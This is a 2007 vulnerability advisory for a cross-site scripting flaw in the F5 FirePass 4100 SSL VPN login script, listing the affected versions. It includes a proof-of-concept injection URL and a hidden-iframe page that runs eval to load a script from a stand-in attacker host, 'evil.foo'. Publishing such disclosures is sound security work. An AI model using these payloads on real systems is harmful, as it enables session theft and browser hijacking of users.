The F5 FirePass 4100 SSL VPN is susceptible to cross site scripting vulnerabilities in my.logon.php3.
d2712a2796254f18fd7453d88ff3e8baPR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script
Date Found: 19th June 2007
Successfully tested on: version 5.5.2
F5 Networks has confirmed the following versions to be vulnerable:
FirePass versions 5.4.1 - 5.5.2
FirePass versions 6.0 - 6.0.1
Description:
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.logon.php3" server-side script.
No authentication is required to exploit this vulnerability.
Consequences:
An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.
Proof of concept (PoC) URL:
https://target.tld/my.logon.php3?"></script><textarea>HTML_injection_test</textarea><!--
The payload in the example is
"></script><textarea>HTML_injection_test</textarea><!--
which injects a 'textarea' box
The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('http://www.evil.foo/b' in this case):
<html>
<iframe src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>
</html>
